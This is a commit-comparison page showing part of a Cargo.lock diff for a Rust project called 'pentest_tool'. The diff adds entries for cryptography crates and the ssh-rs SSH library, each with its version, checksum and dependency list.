Compare commits
12 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6533789f51 | ||
|
|
3f20044c06 | ||
|
|
2ebb29828b | ||
|
|
637fd5417f | ||
|
|
9fa1800337 | ||
|
|
e211433772 | ||
|
|
6d92032d06 | ||
|
|
925c3fd471 | ||
|
|
21d8da25e3 | ||
|
|
f8ec8de137 | ||
|
|
a3f42ecb3f | ||
|
|
387c12a247 |
671
pentest_tool/Cargo.lock
generated
671
pentest_tool/Cargo.lock
generated
@@ -17,6 +17,17 @@ version = "2.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
|
||||
|
||||
[[package]]
|
||||
name = "aes"
|
||||
version = "0.8.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"cipher",
|
||||
"cpufeatures",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "aho-corasick"
|
||||
version = "1.1.3"
|
||||
@@ -96,12 +107,24 @@ dependencies = [
|
||||
"windows-targets 0.52.6",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "base16ct"
|
||||
version = "0.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf"
|
||||
|
||||
[[package]]
|
||||
name = "base64"
|
||||
version = "0.22.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
|
||||
|
||||
[[package]]
|
||||
name = "base64ct"
|
||||
version = "1.8.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "55248b47b0caf0546f7988906588779981c43bb1bc9d0c44087278f80cdb44ba"
|
||||
|
||||
[[package]]
|
||||
name = "bindgen"
|
||||
version = "0.70.1"
|
||||
@@ -132,6 +155,15 @@ version = "2.6.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
|
||||
|
||||
[[package]]
|
||||
name = "block-buffer"
|
||||
version = "0.10.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bumpalo"
|
||||
version = "3.16.0"
|
||||
@@ -208,6 +240,16 @@ dependencies = [
|
||||
"windows-targets 0.52.6",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cipher"
|
||||
version = "0.4.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
|
||||
dependencies = [
|
||||
"crypto-common",
|
||||
"inout",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "clang-sys"
|
||||
version = "1.8.1"
|
||||
@@ -257,6 +299,12 @@ dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "const-oid"
|
||||
version = "0.9.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8"
|
||||
|
||||
[[package]]
|
||||
name = "core-foundation"
|
||||
version = "0.9.4"
|
||||
@@ -316,12 +364,110 @@ dependencies = [
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cpufeatures"
|
||||
version = "0.2.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crc32fast"
|
||||
version = "1.4.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crypto-bigint"
|
||||
version = "0.5.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
"rand_core",
|
||||
"subtle",
|
||||
"zeroize",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crypto-common"
|
||||
version = "0.1.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
"typenum",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ctr"
|
||||
version = "0.9.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
|
||||
dependencies = [
|
||||
"cipher",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "curve25519-dalek"
|
||||
version = "4.1.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"cpufeatures",
|
||||
"curve25519-dalek-derive",
|
||||
"digest",
|
||||
"fiat-crypto",
|
||||
"rustc_version",
|
||||
"subtle",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "curve25519-dalek-derive"
|
||||
version = "0.1.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dasp_sample"
|
||||
version = "0.11.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0c87e182de0887fd5361989c677c4e8f5000cd9491d6d563161a8f3a5519fc7f"
|
||||
|
||||
[[package]]
|
||||
name = "der"
|
||||
version = "0.7.10"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb"
|
||||
dependencies = [
|
||||
"const-oid",
|
||||
"pem-rfc7468",
|
||||
"zeroize",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "digest"
|
||||
version = "0.10.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
|
||||
dependencies = [
|
||||
"block-buffer",
|
||||
"const-oid",
|
||||
"crypto-common",
|
||||
"subtle",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "directories"
|
||||
version = "5.0.1"
|
||||
@@ -386,12 +532,66 @@ dependencies = [
|
||||
"windows-sys 0.48.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ecdsa"
|
||||
version = "0.16.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca"
|
||||
dependencies = [
|
||||
"der",
|
||||
"digest",
|
||||
"elliptic-curve",
|
||||
"rfc6979",
|
||||
"signature",
|
||||
"spki",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ed25519"
|
||||
version = "2.2.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53"
|
||||
dependencies = [
|
||||
"signature",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ed25519-dalek"
|
||||
version = "2.1.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4a3daa8e81a3963a60642bcc1f90a670680bd4a77535faa384e9d1c79d620871"
|
||||
dependencies = [
|
||||
"curve25519-dalek",
|
||||
"ed25519",
|
||||
"sha2",
|
||||
"subtle",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "either"
|
||||
version = "1.13.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
|
||||
|
||||
[[package]]
|
||||
name = "elliptic-curve"
|
||||
version = "0.13.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47"
|
||||
dependencies = [
|
||||
"base16ct",
|
||||
"crypto-bigint",
|
||||
"digest",
|
||||
"ff",
|
||||
"generic-array",
|
||||
"group",
|
||||
"pkcs8",
|
||||
"rand_core",
|
||||
"sec1",
|
||||
"subtle",
|
||||
"zeroize",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "encoding_rs"
|
||||
version = "0.8.35"
|
||||
@@ -423,6 +623,32 @@ version = "2.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
|
||||
|
||||
[[package]]
|
||||
name = "ff"
|
||||
version = "0.13.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393"
|
||||
dependencies = [
|
||||
"rand_core",
|
||||
"subtle",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "fiat-crypto"
|
||||
version = "0.2.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d"
|
||||
|
||||
[[package]]
|
||||
name = "flate2"
|
||||
version = "1.0.35"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c936bfdafb507ebbf50b8074c54fa31c5be9a1e7e5f467dd659697041407d07c"
|
||||
dependencies = [
|
||||
"crc32fast",
|
||||
"miniz_oxide",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "fnv"
|
||||
version = "1.0.7"
|
||||
@@ -528,6 +754,17 @@ dependencies = [
|
||||
"slab",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "generic-array"
|
||||
version = "0.14.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
|
||||
dependencies = [
|
||||
"typenum",
|
||||
"version_check",
|
||||
"zeroize",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.2.15"
|
||||
@@ -535,8 +772,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"js-sys",
|
||||
"libc",
|
||||
"wasi",
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -551,6 +790,17 @@ version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
|
||||
|
||||
[[package]]
|
||||
name = "group"
|
||||
version = "0.13.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63"
|
||||
dependencies = [
|
||||
"ff",
|
||||
"rand_core",
|
||||
"subtle",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "h2"
|
||||
version = "0.4.7"
|
||||
@@ -576,6 +826,21 @@ version = "0.15.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
|
||||
|
||||
[[package]]
|
||||
name = "heck"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
|
||||
|
||||
[[package]]
|
||||
name = "hmac"
|
||||
version = "0.12.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e"
|
||||
dependencies = [
|
||||
"digest",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "home"
|
||||
version = "0.5.11"
|
||||
@@ -875,6 +1140,15 @@ dependencies = [
|
||||
"hashbrown",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "inout"
|
||||
version = "0.1.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "iovec"
|
||||
version = "0.1.4"
|
||||
@@ -951,6 +1225,9 @@ name = "lazy_static"
|
||||
version = "1.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||
dependencies = [
|
||||
"spin",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "lewton"
|
||||
@@ -979,6 +1256,12 @@ dependencies = [
|
||||
"windows-targets 0.52.6",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "libm"
|
||||
version = "0.2.15"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f9fbbcab51052fe104eb5e5d351cf728d30a5be1fe14d9be8a3b097481fb97de"
|
||||
|
||||
[[package]]
|
||||
name = "libredox"
|
||||
version = "0.1.3"
|
||||
@@ -1122,6 +1405,34 @@ dependencies = [
|
||||
"minimal-lexical",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "num-bigint"
|
||||
version = "0.4.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9"
|
||||
dependencies = [
|
||||
"num-integer",
|
||||
"num-traits",
|
||||
"rand",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "num-bigint-dig"
|
||||
version = "0.8.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "dc84195820f291c7697304f3cbdadd1cb7199c0efc917ff5eafd71225c136151"
|
||||
dependencies = [
|
||||
"byteorder",
|
||||
"lazy_static",
|
||||
"libm",
|
||||
"num-integer",
|
||||
"num-iter",
|
||||
"num-traits",
|
||||
"rand",
|
||||
"smallvec",
|
||||
"zeroize",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "num-derive"
|
||||
version = "0.4.2"
|
||||
@@ -1133,6 +1444,26 @@ dependencies = [
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "num-integer"
|
||||
version = "0.1.46"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f"
|
||||
dependencies = [
|
||||
"num-traits",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "num-iter"
|
||||
version = "0.1.45"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf"
|
||||
dependencies = [
|
||||
"autocfg",
|
||||
"num-integer",
|
||||
"num-traits",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "num-traits"
|
||||
version = "0.2.19"
|
||||
@@ -1140,6 +1471,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
|
||||
dependencies = [
|
||||
"autocfg",
|
||||
"libm",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1260,6 +1592,53 @@ version = "0.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"
|
||||
|
||||
[[package]]
|
||||
name = "p256"
|
||||
version = "0.13.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b"
|
||||
dependencies = [
|
||||
"ecdsa",
|
||||
"elliptic-curve",
|
||||
"primeorder",
|
||||
"sha2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "p384"
|
||||
version = "0.13.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6"
|
||||
dependencies = [
|
||||
"ecdsa",
|
||||
"elliptic-curve",
|
||||
"primeorder",
|
||||
"sha2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "p521"
|
||||
version = "0.13.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fc9e2161f1f215afdfce23677034ae137bbd45016a880c2eb3ba8eb95f085b2"
|
||||
dependencies = [
|
||||
"base16ct",
|
||||
"ecdsa",
|
||||
"elliptic-curve",
|
||||
"primeorder",
|
||||
"rand_core",
|
||||
"sha2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pem-rfc7468"
|
||||
version = "0.7.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412"
|
||||
dependencies = [
|
||||
"base64ct",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pentest_tool"
|
||||
version = "3.1.1"
|
||||
@@ -1273,6 +1652,8 @@ dependencies = [
|
||||
"futures-io 0.2.1",
|
||||
"reqwest",
|
||||
"rodio",
|
||||
"ssh-rs",
|
||||
"term_size",
|
||||
"walkdir",
|
||||
]
|
||||
|
||||
@@ -1332,12 +1713,51 @@ version = "0.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
|
||||
|
||||
[[package]]
|
||||
name = "pkcs1"
|
||||
version = "0.7.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f"
|
||||
dependencies = [
|
||||
"der",
|
||||
"pkcs8",
|
||||
"spki",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pkcs8"
|
||||
version = "0.10.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7"
|
||||
dependencies = [
|
||||
"der",
|
||||
"spki",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pkg-config"
|
||||
version = "0.3.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "953ec861398dccce10c670dfeaf3ec4911ca479e9c02154b3a215178c5f566f2"
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
version = "0.2.21"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
|
||||
dependencies = [
|
||||
"zerocopy",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "primeorder"
|
||||
version = "0.13.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6"
|
||||
dependencies = [
|
||||
"elliptic-curve",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro-crate"
|
||||
version = "3.2.0"
|
||||
@@ -1371,6 +1791,18 @@ version = "0.8.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"rand_chacha",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_chacha"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||
dependencies = [
|
||||
"ppv-lite86",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
@@ -1379,6 +1811,9 @@ name = "rand_core"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||
dependencies = [
|
||||
"getrandom",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "redox_users"
|
||||
@@ -1465,6 +1900,16 @@ dependencies = [
|
||||
"windows-registry",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rfc6979"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2"
|
||||
dependencies = [
|
||||
"hmac",
|
||||
"subtle",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ring"
|
||||
version = "0.17.8"
|
||||
@@ -1493,6 +1938,27 @@ dependencies = [
|
||||
"symphonia",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rsa"
|
||||
version = "0.9.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "78928ac1ed176a5ca1d17e578a1825f3d81ca54cf41053a592584b020cfd691b"
|
||||
dependencies = [
|
||||
"const-oid",
|
||||
"digest",
|
||||
"num-bigint-dig",
|
||||
"num-integer",
|
||||
"num-traits",
|
||||
"pkcs1",
|
||||
"pkcs8",
|
||||
"rand_core",
|
||||
"sha2",
|
||||
"signature",
|
||||
"spki",
|
||||
"subtle",
|
||||
"zeroize",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rustc-demangle"
|
||||
version = "0.1.24"
|
||||
@@ -1505,6 +1971,15 @@ version = "1.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
|
||||
|
||||
[[package]]
|
||||
name = "rustc_version"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92"
|
||||
dependencies = [
|
||||
"semver",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rustix"
|
||||
version = "0.38.42"
|
||||
@@ -1557,6 +2032,12 @@ dependencies = [
|
||||
"untrusted",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rustversion"
|
||||
version = "1.0.21"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d"
|
||||
|
||||
[[package]]
|
||||
name = "ryu"
|
||||
version = "1.0.18"
|
||||
@@ -1581,6 +2062,20 @@ dependencies = [
|
||||
"windows-sys 0.59.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sec1"
|
||||
version = "0.7.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc"
|
||||
dependencies = [
|
||||
"base16ct",
|
||||
"der",
|
||||
"generic-array",
|
||||
"pkcs8",
|
||||
"subtle",
|
||||
"zeroize",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "security-framework"
|
||||
version = "2.11.1"
|
||||
@@ -1604,6 +2099,12 @@ dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "semver"
|
||||
version = "1.0.26"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0"
|
||||
|
||||
[[package]]
|
||||
name = "serde"
|
||||
version = "1.0.217"
|
||||
@@ -1648,12 +2149,33 @@ dependencies = [
|
||||
"serde",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sha2"
|
||||
version = "0.10.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"cpufeatures",
|
||||
"digest",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "shlex"
|
||||
version = "1.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||
|
||||
[[package]]
|
||||
name = "signature"
|
||||
version = "2.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de"
|
||||
dependencies = [
|
||||
"digest",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "siphasher"
|
||||
version = "0.3.11"
|
||||
@@ -1691,12 +2213,106 @@ version = "0.9.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67"
|
||||
|
||||
[[package]]
|
||||
name = "spki"
|
||||
version = "0.7.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d"
|
||||
dependencies = [
|
||||
"base64ct",
|
||||
"der",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ssh-cipher"
|
||||
version = "0.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "caac132742f0d33c3af65bfcde7f6aa8f62f0e991d80db99149eb9d44708784f"
|
||||
dependencies = [
|
||||
"cipher",
|
||||
"ssh-encoding",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ssh-encoding"
|
||||
version = "0.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "eb9242b9ef4108a78e8cd1a2c98e193ef372437f8c22be363075233321dd4a15"
|
||||
dependencies = [
|
||||
"base64ct",
|
||||
"pem-rfc7468",
|
||||
"sha2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ssh-key"
|
||||
version = "0.6.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3b86f5297f0f04d08cabaa0f6bff7cb6aec4d9c3b49d87990d63da9d9156a8c3"
|
||||
dependencies = [
|
||||
"ed25519-dalek",
|
||||
"num-bigint-dig",
|
||||
"p256",
|
||||
"p384",
|
||||
"p521",
|
||||
"rand_core",
|
||||
"rsa",
|
||||
"sec1",
|
||||
"sha2",
|
||||
"signature",
|
||||
"ssh-cipher",
|
||||
"ssh-encoding",
|
||||
"subtle",
|
||||
"zeroize",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ssh-rs"
|
||||
version = "0.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "04811a04a4dfce78c2a4fbe335501c9e0d6f76fefc5f93adc31b2dd9d5e3a478"
|
||||
dependencies = [
|
||||
"aes",
|
||||
"ctr",
|
||||
"flate2",
|
||||
"num-bigint",
|
||||
"rand",
|
||||
"ring",
|
||||
"rsa",
|
||||
"sha2",
|
||||
"signature",
|
||||
"ssh-key",
|
||||
"strum",
|
||||
"strum_macros",
|
||||
"thiserror",
|
||||
"tracing",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "stable_deref_trait"
|
||||
version = "1.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
|
||||
|
||||
[[package]]
|
